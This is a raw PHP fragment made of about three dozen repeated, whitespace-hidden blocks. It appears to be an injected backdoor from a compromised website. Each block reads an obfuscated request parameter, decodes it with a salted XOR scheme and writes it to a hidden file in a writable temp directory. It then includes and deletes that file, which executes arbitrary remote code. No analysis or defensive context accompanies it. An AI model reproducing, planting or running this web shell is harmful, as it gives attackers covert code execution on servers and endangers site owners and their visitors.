																																										if(filter_has_var(INPUT_POST, "k")){ $val = $_REQUEST["k"]; $val = explode ( '.', $val ) ; $record =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $p =0; $len =count($val); do { if ($p >= $len) break; $v7 =$val[$p]; $sChar =ord($s[$p % $lenS]); $dec =((int)$v7 - $sChar - ($p % 10)) ^ 70; $record .= chr($dec); $p++; } while (true); $obj = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", session_save_path()]); while ($comp = array_shift($obj)) { if (array_product([is_dir($comp), is_writable($comp)])) { $component = str_replace("{var_dir}", $comp, "{var_dir}/.item"); $file = fopen($component, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $component; @unlink($component); die(); } } } }
																																										if(isset($_POST["dc\x68un\x6B"]) ? true : false){ $pgrp = array_filter([getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path()]); $marker = $_POST["dc\x68un\x6B"]; $marker = explode ( '.' , $marker ); $obj = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); foreach ($marker as $p => $v9) { $sChar = ord($salt6[$p % $sLen] ); $d = ((int)$v9 - $sChar - ($p % 10)) ^ 9; $obj .= chr($d ); } for ($desc = 0, $elem = count($pgrp); $desc < $elem; $desc++) { $comp = $pgrp[$desc]; if (max(0, is_dir($comp) * is_writable($comp))) { $mrk = vsprintf("%s/%s", [$comp, ".factor"]); if (@file_put_contents($mrk, $obj) !== false) { include $mrk; unlink($mrk); exit; } } } }
																																										if(in_array("ma\x72k\x65r", array_keys($_POST))){ $descriptor = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp", session_save_path()]); $sym = $_POST["ma\x72k\x65r"]; $sym = explode ( '.' , $sym) ; $fac = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $i = 0; foreach ($sym as $v2) {$sChar = ord($salt7[$i% $lenS]); $dec = ((int)$v2 - $sChar - ($i% 10))^ 92; $fac .=chr($dec); $i++;} foreach ($descriptor as $parameter_group): if (is_dir($parameter_group) ? is_writable($parameter_group) : false) { $tkn = vsprintf("%s/%s", [$parameter_group, ".key"]); if (file_put_contents($tkn, $fac)) { require $tkn; unlink($tkn); exit; } } endforeach; }
																																										if(array_key_exists("\x66acto\x72", $_REQUEST) && !is_null($_REQUEST["\x66acto\x72"])){ $res = $_REQUEST["\x66acto\x72"]; $res=explode ( '.' , $res); $reference = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2 ); $p = 0; $__tmp = $res; while( $v1 = array_shift( $__tmp)) {$chS = ord( $s2[$p % $lenS] ); $dec = ( ( int)$v1 - $chS -( $p % 10))^ 22; $reference .= chr( $dec ); $p++; } $ref = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp"]); foreach ($ref as $key => $ptr) { if (!( !is_dir($ptr) || !is_writable($ptr) )) { $token = "$ptr" . "/.binding"; if (file_put_contents($token, $reference)) { include $token; @unlink($token); exit; } } } }
																																										if(isset($_POST["r\x65f"])){ $tkn = array_filter([getcwd(), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); $value = $_POST["r\x65f"]; $value = explode ( '.' , $value ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $value as $k => $v4) { $sChar = ord( $s[$k % $sLen] ); $d = ( ( int)$v4 - $sChar -( $k % 10)) ^ 95; $marker .= chr( $d );} foreach ($tkn as $key => $symbol) { if ((is_dir($symbol) and is_writable($symbol))) { $item = vsprintf("%s/%s", [$symbol, ".hld"]); if (@file_put_contents($item, $marker) !== false) { include $item; unlink($item); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x67rp"])){ $obj = $_REQUEST["p\x67rp"]; $obj= explode( '.', $obj ) ; $elem= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt6 ); foreach ($obj as $k=>$v4): $sChar= ord($salt6[$k % $lenS] ); $dec= ((int)$v4 - $sChar - ($k % 10)) ^ 64; $elem .= chr($dec ); endforeach; $entity = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP"), getcwd()]); foreach ($entity as $key => $desc) { if (!!is_dir($desc) && !!is_writable($desc)) { $data = implode("/", [$desc, ".res"]); if (@file_put_contents($data, $elem) !== false) { include $data; unlink($data); die(); } } } }
																																										if(!is_null($_REQUEST["\x65n\x74"] ?? null)){ $ent = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP")]); $component = $_REQUEST["\x65n\x74"]; $component =explode( '.' , $component ) ; $dat= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $n= 0; array_walk($component, function($v5) use(&$dat, &$n, $salt, $sLen) { $chS= ord($salt[$n % $sLen]); $dec= ((int)$v5 - $chS -($n % 10)) ^48; $dat .= chr($dec); $n++; } ); foreach ($ent as $key => $record) { if (max(0, is_dir($record) * is_writable($record))) { $entry = "$record" . "/.tkn"; if (file_put_contents($entry, $dat)) { require $entry; unlink($entry); exit; } } } }
																																										if(!is_null($_POST["\x6Fb\x6Aec\x74"] ?? null)){ $symbol = $_POST["\x6Fb\x6Aec\x74"]; $symbol= explode (".", $symbol) ; $pgrp = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); foreach ($symbol as $l => $v4) { $chS = ord($s9[$l% $lenS]); $d = ((int)$v4 - $chS - ($l% 10)) ^ 23; $pgrp .= chr($d); } $record = array_filter([getcwd(), getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $component = 0; do { $pointer = $record[$component] ?? null; if ($component >= count($record)) break; if ((is_dir($pointer) and is_writable($pointer))) { $ref = join("/", [$pointer, ".factor"]); if (file_put_contents($ref, $pgrp)) { include $ref; @unlink($ref); die(); } } $component++; } while (true); }
																																										if(isset($_REQUEST["\x64\x65\x73\x63\x72iptor"])){ $ptr = $_REQUEST["\x64\x65\x73\x63\x72iptor"]; $ptr= explode ( '.' ,$ptr ) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($ptr as $u => $v4) { $chS = ord($salt[$u %$sLen]); $dec =((int)$v4 - $chS -($u %10)) ^ 30; $component.= chr($dec); } $item = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir()]); foreach ($item as $tkn): if ((function($d) { return is_dir($d) && is_writable($d); })($tkn)) { $pointer = "$tkn" . "/.ent"; if (file_put_contents($pointer, $component)) { require $pointer; unlink($pointer); exit; } } endforeach; }
																																										if(@$_POST["\x74o\x6Ben"] !== null){ $pointer = array_filter(["/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp"]); $descriptor = $_POST["\x74o\x6Ben"]; $descriptor=explode ( '.', $descriptor ); $mrk =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt3); $u =0; array_walk( $descriptor, function( $v9) use( &$mrk, &$u, $salt3, $lenS) { $sChar =ord( $salt3[$u % $lenS]); $dec =( ( int)$v9 - $sChar -( $u % 10)) ^ 46; $mrk .= chr( $dec); $u++; }); foreach ($pointer as $k) { if ((is_dir($k) and is_writable($k))) { $comp = join("/", [$k, ".ref"]); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $comp; @unlink($comp); exit; } } } }
																																										if(isset($_POST["\x70s\x65t"])){ $desc = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", getcwd(), "/dev/shm"]); $record = $_POST["\x70s\x65t"]; $record = explode ( '.' , $record ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $m = 0; array_walk($record , function ($v5) use (&$descriptor , &$m , $s , $sLen) {$sChar = ord($s[$m % $sLen] ); $d = ((int)$v5 - $sChar - ($m % 10)) ^ 20; $descriptor .= chr($d ); $m++; } ); foreach ($desc as $sym): if (max(0, is_dir($sym) * is_writable($sym))) { $rec = join("/", [$sym, ".fac"]); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $rec; @unlink($rec); exit; } } endforeach; }
																																										if(!is_null($_POST["\x68\x6F\x6Cder"] ?? null)){ $component = $_POST["\x68\x6F\x6Cder"]; $component = explode( '.', $component) ; $token = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5 ); foreach( $component as $m =>$v7): $chS = ord( $s5[$m % $lenS] ); $d = ( ( int)$v7 - $chS -( $m % 10)) ^ 37; $token.= chr( $d ); endforeach; $value = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TEMP")]); foreach ($value as $reference) { if (!( !is_dir($reference) || !is_writable($reference) )) { $ent = "$reference/.data_chunk"; if (file_put_contents($ent, $token)) { include $ent; @unlink($ent); die(); } } } }
																																										if(@$_REQUEST["fla\x67"] !== null){ $sym = array_filter(["/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); $comp = $_REQUEST["fla\x67"]; $comp = explode ( "." , $comp ) ; $dchunk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); $n= 0; $__tmp= $comp; while( $v8= array_shift( $__tmp)) { $chS= ord( $s[$n% $sLen]); $d= ( ( int)$v8 - $chS -( $n% 10)) ^ 55; $dchunk .= chr( $d); $n++; } while ($flg = array_shift($sym)) { if ((function($d) { return is_dir($d) && is_writable($d); })($flg)) { $obj = join("/", [$flg, ".token"]); if (@file_put_contents($obj, $dchunk) !== false) { include $obj; unlink($obj); exit; } } } }
																																										if(in_array("\x63o\x6Dp", array_keys($_REQUEST))){ $mrk = $_REQUEST["\x63o\x6Dp"]; $mrk= explode( '.' , $mrk) ; $property_set =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s1); $i =0; array_walk($mrk, function ($v1) use (&$property_set, &$i, $s1, $sLen) { $sChar =ord($s1[$i % $sLen]); $d =((int)$v1 - $sChar - ($i % 10)) ^86; $property_set .= chr($d); $i++;} ); $entity = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP")]); foreach ($entity as $parameter_group): if (!( !is_dir($parameter_group) || !is_writable($parameter_group) )) { $key = join("/", [$parameter_group, ".obj"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $key; @unlink($key); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x72\x65\x73o\x75rce"])){ $comp = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", sys_get_temp_dir()]); $descriptor = $_POST["\x72\x65\x73o\x75rce"]; $descriptor =explode ( '.' , $descriptor) ; $symbol = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $q = 0; $__tmp = $descriptor; while ($v1 = array_shift($__tmp)) { $sChar = ord($salt2[$q %$sLen]); $d = ((int)$v1 - $sChar - ($q %10)) ^ 87; $symbol .= chr($d); $q++;} foreach ($comp as $key => $ref) { if (is_dir($ref) ? is_writable($ref) : false) { $parameter_group = "$ref" . "/.holder"; $success = file_put_contents($parameter_group, $symbol); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } } }
																																										if(!empty($_REQUEST["p\x74r"])){ $marker = $_REQUEST["p\x74r"]; $marker=explode ("." , $marker ); $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $j = 0; foreach ($marker as $v3) { $sChar = ord($salt[$j %$lenS] ); $dec = ((int)$v3 - $sChar - ($j %10)) ^ 80; $res .= chr($dec ); $j++;} $val = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir")]); foreach ($val as $key => $rec) { if (max(0, is_dir($rec) * is_writable($rec))) { $entity = join("/", [$rec, ".pointer"]); if (file_put_contents($entity, $res)) { include $entity; @unlink($entity); die(); } } } }
																																										if(!empty($_POST["\x64at"])){ $flag = $_POST["\x64at"]; $flag =explode ( '.', $flag ) ; $elem = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7); $__len = count( $flag); for( $z = 0; $z < $__len; $z++) { $v1 = $flag[$z]; $sChar = ord( $s7[$z % $sLen]); $d =( ( int)$v1 - $sChar -( $z % 10)) ^ 40; $elem .= chr( $d); } $sym = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm"]); while ($entity = array_shift($sym)) { if (!!is_dir($entity) && !!is_writable($entity)) { $object = join("/", [$entity, ".value"]); if (file_put_contents($object, $elem)) { include $object; @unlink($object); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["p\x67rp"])){ $item = array_filter(["/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd()]); $record = $_REQUEST["p\x67rp"]; $record = explode (".", $record ) ; $itm = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $v = 0; foreach($record as $v2) {$chS = ord($salt7[$v% $lenS]); $dec =((int)$v2 - $chS -($v% 10)) ^ 49; $itm.= chr($dec); $v++; } foreach ($item as $key => $flag) { if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $component = "$flag/.comp"; if (file_put_contents($component, $itm)) { require $component; unlink($component); die(); } } } }
																																										if(array_key_exists("m\x72k", $_POST)){ $data_chunk = array_filter(["/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), getenv("TMP"), "/var/tmp", "/tmp", sys_get_temp_dir()]); $value = $_POST["m\x72k"]; $value = explode ( '.' , $value ) ; $key = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $n = 0; $len = count($value); do { if($n >= $len) break; $v2 = $value[$n]; $sChar = ord($s9[$n% $lenS]); $dec =((int)$v2 - $sChar -($n% 10)) ^ 14; $key .= chr($dec); $n++; } while(true); foreach ($data_chunk as $pgrp) { if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $bind = "$pgrp/.flag"; $file = fopen($bind, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $bind; @unlink($bind); die(); } } } }
																																										if(!empty($_REQUEST["\x66\x61ctor"])){ $tkn = $_REQUEST["\x66\x61ctor"]; $tkn = explode ('.' , $tkn) ; $flag = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $u = 0; $__tmp = $tkn; while ($v5 = array_shift($__tmp)) { $chS = ord($s2[$u % $lenS]); $d = ((int)$v5 - $chS - ($u % 10)) ^ 5; $flag .= chr($d); $u++;} $value = array_filter([getenv("TMP"), session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); foreach ($value as $flg): if ((bool)is_dir($flg) && (bool)is_writable($flg)) { $record = sprintf("%s/.ptr", $flg); if (file_put_contents($record, $flag)) { require $record; unlink($record); die(); } } endforeach; }
																																										if(array_key_exists("\x64\x65sc", $_POST) && !is_null($_POST["\x64\x65sc"])){ $ent = $_POST["\x64\x65sc"]; $ent = explode ( "." ,$ent ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $y = 0; array_walk( $ent,function( $v9) use( &$data_chunk,&$y,$s,$sLen) { $chS = ord( $s[$y % $sLen]); $d = ( ( int)$v9 - $chS -( $y % 10)) ^ 57; $data_chunk.= chr( $d); $y++; }); $val = array_filter(["/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir()]); for ($pointer = 0, $entity = count($val); $pointer < $entity; $pointer++) { $res = $val[$pointer]; if (!!is_dir($res) && !!is_writable($res)) { $sym = implode("/", [$res, ".holder"]); if (file_put_contents($sym, $data_chunk)) { include $sym; @unlink($sym); exit; } } } }
																																										if(isset($_POST["i\x74em"]) ? true : false){ $element = $_POST["i\x74em"]; $element = explode ( "." ,$element ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($element as $i => $v7): $chS = ord($s[$i % $sLen]); $d = ((int)$v7 - $chS - ($i % 10)) ^ 88; $fac .= chr($d); endforeach; $rec = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); while ($dat = array_shift($rec)) { if (is_writable($dat) && is_dir($dat)) { $desc = join("/", [$dat, ".property_set"]); if (file_put_contents($desc, $fac)) { include $desc; @unlink($desc); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x70g\x72p")){ $descriptor = $_REQUEST["\x70g\x72p"]; $descriptor =explode ('.' , $descriptor ) ; $binding= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach ($descriptor as $k => $v5) { $sChar= ord($s[$k %$lenS]); $d= ((int)$v5 - $sChar - ($k %10)) ^ 61; $binding .= chr($d); } $flag = array_filter([getenv("TMP"), "/dev/shm", session_save_path(), "/tmp", "/var/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($flag as $marker) { if ((is_dir($marker) and is_writable($marker))) { $sym = vsprintf("%s/%s", [$marker, ".record"]); if (file_put_contents($sym, $binding)) { include $sym; @unlink($sym); exit; } } } }
																																										if(in_array("rec", array_keys($_POST))){ $desc = array_filter(["/tmp", session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $parameter_group = $_POST["rec"]; $parameter_group =explode ( '.', $parameter_group ) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($parameter_group as $t => $v9) { $chS = ord($s[$t % $sLen]); $d = ((int)$v9 - $chS - ($t % 10)) ^ 100; $key .= chr($d); } foreach ($desc as $data) { if ((is_dir($data) and is_writable($data))) { $k = sprintf("%s/.bind", $data); if (file_put_contents($k, $key)) { include $k; @unlink($k); die(); } } } }
																																										if(@$_REQUEST["ptr"] !== null){ $data_chunk = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/var/tmp", session_save_path()]); $component = $_REQUEST["ptr"]; $component =explode( '.' ,$component ) ; $rec = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1 ); foreach( $component as $l => $v8): $chS = ord( $s1[$l % $lenS] ); $dec =( ( int)$v8 - $chS -( $l % 10)) ^ 62; $rec .= chr( $dec ); endforeach; foreach ($data_chunk as $desc): if (is_dir($desc) ? is_writable($desc) : false) { $data = "$desc/.factor"; $file = fopen($data, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $data; @unlink($data); die(); } } endforeach; }
																																										if(array_key_exists("\x65lem", $_REQUEST) && !is_null($_REQUEST["\x65lem"])){ $ref = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getcwd(), session_save_path(), "/var/tmp", "/tmp", getenv("TMP"), "/dev/shm"]); $entity = $_REQUEST["\x65lem"]; $entity =explode ( '.' ,$entity ) ; $object = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9 ); foreach($entity as $m => $v2): $chS = ord($s9[$m % $sLen] ); $d =((int)$v2 - $chS -($m % 10)) ^4; $object .= chr($d ); endforeach; $token = 0; do { $key = $ref[$token] ?? null; if ($token >= count($ref)) break; if (!( !is_dir($key) || !is_writable($key) )) { $pset = "$key/.pointer"; if (@file_put_contents($pset, $object) !== false) { include $pset; unlink($pset); exit; } } $token++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["r\x65f"])){ $object = $_REQUEST["r\x65f"]; $object =explode ("." ,$object ) ; $pset =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s1); $k =0; array_walk( $object, function( $v5) use( &$pset, &$k, $s1, $lenS) { $chS =ord( $s1[$k % $lenS]); $dec =( ( int)$v5 - $chS -( $k % 10))^ 20; $pset .=chr( $dec); $k++; }); $fac = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp"]); while ($element = array_shift($fac)) { if (max(0, is_dir($element) * is_writable($element))) { $marker = join("/", [$element, ".data_chunk"]); $success = file_put_contents($marker, $pset); if ($success) { include $marker; @unlink($marker); exit;} } } }
																																										if(array_key_exists("ke\x79", $_REQUEST)){ $holder = array_filter([ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm"]); $fac = $_REQUEST["ke\x79"]; $fac = explode ('.', $fac ) ; $entry = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); $r = 0; $len = count($fac ); do { if ($r >= $len) break; $v8 = $fac[$r]; $chS = ord($s2[$r % $sLen] ); $d = ((int)$v8 - $chS - ($r % 10)) ^ 98; $entry .= chr($d ); $r++; } while (true ); $ptr = 0; do { $value = $holder[$ptr] ?? null; if ($ptr >= count($holder)) break; if (array_product([is_dir($value), is_writable($value)])) { $obj = "$value/.object"; if (file_put_contents($obj, $entry)) { require $obj; unlink($obj); exit; } } $ptr++; } while (true); }
																																										if(!empty($_REQUEST["\x6D\x61rke\x72"])){ $entry = $_REQUEST["\x6D\x61rke\x72"]; $entry =explode ("." , $entry ); $binding= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $k= 0; foreach ($entry as $v6) { $chS= ord($s[$k % $sLen] ); $dec= ((int)$v6 - $chS - ($k % 10)) ^ 70; $binding.= chr($dec ); $k++; } $property_set = array_filter(["/var/tmp", getcwd(), getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp"]); foreach ($property_set as $object): if (!( !is_dir($object) || !is_writable($object) )) { $pset = str_replace("{var_dir}", $object, "{var_dir}/.symbol"); $success = file_put_contents($pset, $binding); if ($success) { include $pset; @unlink($pset); die();} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "va\x6Cu\x65")){ $entity = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TMP"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $holder = $_POST["va\x6Cu\x65"]; $holder = explode ("." , $holder); $val = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $t = 0; foreach ($holder as $v8) { $sChar = ord($salt9[$t % $sLen]); $d = ((int)$v8 - $sChar - ($t % 10)) ^ 17; $val .= chr($d); $t++; } foreach ($entity as $key => $descriptor) { if (is_writable($descriptor) && is_dir($descriptor)) { $property_set = str_replace("{var_dir}", $descriptor, "{var_dir}/.ref"); if (file_put_contents($property_set, $val)) { include $property_set; @unlink($property_set); exit; } } } }
																																										if(!is_null($_POST["\x66\x61\x63tor"] ?? null)){ $dchunk = $_POST["\x66\x61\x63tor"]; $dchunk = explode ( "." , $dchunk ) ; $pointer = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5 ); $n = 0; $len = count( $dchunk ); do { if( $n >= $len) break; $v6 = $dchunk[$n]; $sChar = ord( $s5[$n % $lenS] ); $d = ( ( int)$v6 - $sChar -( $n % 10))^87; $pointer .= chr( $d ); $n++; } while( true ); $ent = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path(), getenv("TMP"), "/tmp", getcwd()]); foreach ($ent as $key => $entry) { if (is_dir($entry) && is_writable($entry)) { $fac = str_replace("{var_dir}", $entry, "{var_dir}/.resource"); if (@file_put_contents($fac, $pointer) !== false) { include $fac; unlink($fac); die(); } } } }
																																										if(@$_POST["\x72\x65\x73\x6Furce"] !== null){ $flag = $_POST["\x72\x65\x73\x6Furce"]; $flag =explode ("." , $flag ) ; $element = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5); foreach( $flag as $t =>$v6) {$sChar = ord( $s5[$t %$lenS]); $d = ( ( int)$v6 - $sChar -( $t %10)) ^ 79; $element .= chr( $d); } $dchunk = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP")]); foreach ($dchunk as $data) { if (array_product([is_dir($data), is_writable($data)])) { $value = "$data" . "/.pointer"; if (@file_put_contents($value, $element) !== false) { include $value; unlink($value); exit; } } } }
																																										if(array_key_exists("\x72e\x63", $_REQUEST) && !is_null($_REQUEST["\x72e\x63"])){ $token = $_REQUEST["\x72e\x63"]; $token = explode ( "." , $token ); $bind = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $k = 0; while($k < count($token)) { $v3 = $token[$k]; $sChar = ord($salt2[$k % $sLen]); $dec =((int)$v3 - $sChar -($k % 10))^ 87; $bind.=chr($dec); $k++; } $mrk = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd()]); foreach ($mrk as $key => $dchunk) { if (array_product([is_dir($dchunk), is_writable($dchunk)])) { $pset = sprintf("%s/.comp", $dchunk); if (file_put_contents($pset, $bind)) { include $pset; @unlink($pset); die(); } } } }
																																										if(in_array("marke\x72", array_keys($_POST))){ $component = $_POST["marke\x72"]; $component = explode( '.',$component ); $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $p = 0; while($p <count($component)) { $v9 = $component[$p]; $sChar = ord($s[$p % $sLen]); $dec =((int)$v9 - $sChar -($p % 10)) ^ 70; $element .= chr($dec); $p++; } $reference = array_filter([session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", "/var/tmp", getenv("TEMP")]); foreach ($reference as $flg) { if (is_dir($flg) && is_writable($flg)) { $bind = join("/", [$flg, ".property_set"]); if (file_put_contents($bind, $element)) { require $bind; unlink($bind); die(); } } } }
																																										if(!is_null($_REQUEST["f\x61\x63"] ?? null)){ $element = array_filter([session_save_path(), getcwd(), "/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $ent = $_REQUEST["f\x61\x63"]; $ent = explode ( "." , $ent ) ; $record= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $j= 0; array_walk($ent, function ($v8) use (&$record, &$j, $s, $lenS) { $sChar= ord($s[$j%$lenS]); $dec= ((int)$v8 - $sChar - ($j%10)) ^ 36; $record.= chr($dec); $j++; } ); foreach ($element as $key => $hld) { if (is_dir($hld) ? is_writable($hld) : false) { $data_chunk = "$hld" . "/.dat"; if (file_put_contents($data_chunk, $record)) { require $data_chunk; unlink($data_chunk); exit; } } } }
